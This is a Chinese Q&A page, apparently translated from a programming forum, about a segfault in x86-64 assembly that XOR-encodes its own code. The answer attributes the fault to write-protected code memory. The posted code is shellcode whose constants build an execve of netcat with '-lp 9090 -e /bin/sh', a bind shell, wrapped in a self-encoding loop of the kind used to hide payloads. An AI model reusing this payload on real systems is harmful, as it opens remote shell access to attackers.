mov指令中的分段错误

时间:2018-06-22 11:50:43

标签: assembly x86-64

rdi包含一段代码的地址。我正在尝试对该代码执行XOR编码。当我运行该代码时,mov指令会导致分段错误。有人可以帮忙吗?

mov byte al,[rdi];   No errors
xor al,0x7f
mov byte [rdi],al;   Causes segmeation fault

完整代码:

section .text
    global _start
    _start:
        call encrypt
    code:
        xor rax,rax
        xor rdx,rdx
        xor rcx,rcx
        xor rdx,rdx
        mov rdi,0x636e2f6e69622f2f
        shr rdi,0x8
        push rdi
        mov rdi,rsp
        mov rsi,0x6c2dffffffffffff
        shr rsi,0x30
        push rsi
        mov rsi,rsp
        mov rbx,0x702dffffffffffff
        shr rbx,0x30
        push rbx
        mov rbx,rsp
        mov rcx,0x30393039ffffffff
        shr rcx,0x20
        push rcx
        mov rcx,rsp
        mov rdx,0x652dffffffffffff
        shr rdx,0x20
        push rdx
        mov rdx,rsp
        xor r8,r8
        mov r8,0x68732f6e69622f2f
        shr r8,0x8
        push r8
        mov r8,rsp
        push r8
        push rdx
        push rcx
        push rbx
        push rsi
        push rdi
        mov rsi,rsp
        mov al,59
        syscall
    encrypt:
        pop rdi
        mov cl,0x8a
        mov bl,0
    loo:
        dec cl
        mov byte al,[rdi]
        xor al,0x7f
        mov byte [rdi],al  ;segfault occurs here
        inc rdi
        jne loo
        jmp code

1 个答案:

答案 0 :(得分:3)

  

rdi包含一段代码的地址

许多系统通过主动防止写入代码区域(a)来提供针对恶意代码的保护。例如,代码选择器可能指向标记为只读的内存块(除非您正在运行代码以尝试以某种特权模式对其进行修改)。

在这种情况下,您几乎肯定会遇到这种保护机制。解决方案的方式(假设允许)将取决于您环境中比当前提供的更多细节(例如,操作系统)。

例如,在Linux下,您可以使用mprotect来更改虚拟内存空间中某些地址范围的保护。


(a)有些人还会阻止您像执行代码一样执行数据,这意味着即使您将代码移动到可以编写的位置,您也可能无法执行。